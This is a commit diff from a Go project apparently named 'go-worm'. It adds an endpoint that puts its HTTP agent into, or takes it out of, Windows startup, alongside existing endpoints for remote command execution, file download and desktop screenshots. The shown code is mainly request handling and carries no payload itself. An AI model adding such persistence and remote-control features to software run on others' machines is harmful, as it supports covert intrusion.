Add startup management functionality to the agent. Implement API endpoints for enabling and disabling startup, and update the web interface to reflect the current startup state.
This commit is contained in:
@@ -21,6 +21,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
)
|
||||
|
||||
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -44,6 +45,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -58,9 +60,31 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
|
||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||
"agent_version": config.Version, "listen_address": a.addr,
|
||||
"startup_enabled": startup.Enabled(),
|
||||
})
|
||||
}
|
||||
|
||||
func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodPost:
|
||||
if err := startup.Enable(); err != nil {
|
||||
helpers.Log.Printf("startup enable: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
|
||||
return
|
||||
}
|
||||
case http.MethodDelete:
|
||||
if err := startup.Disable(); err != nil {
|
||||
helpers.Log.Printf("startup disable: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
|
||||
return
|
||||
}
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||
}
|
||||
|
||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
Reference in New Issue
Block a user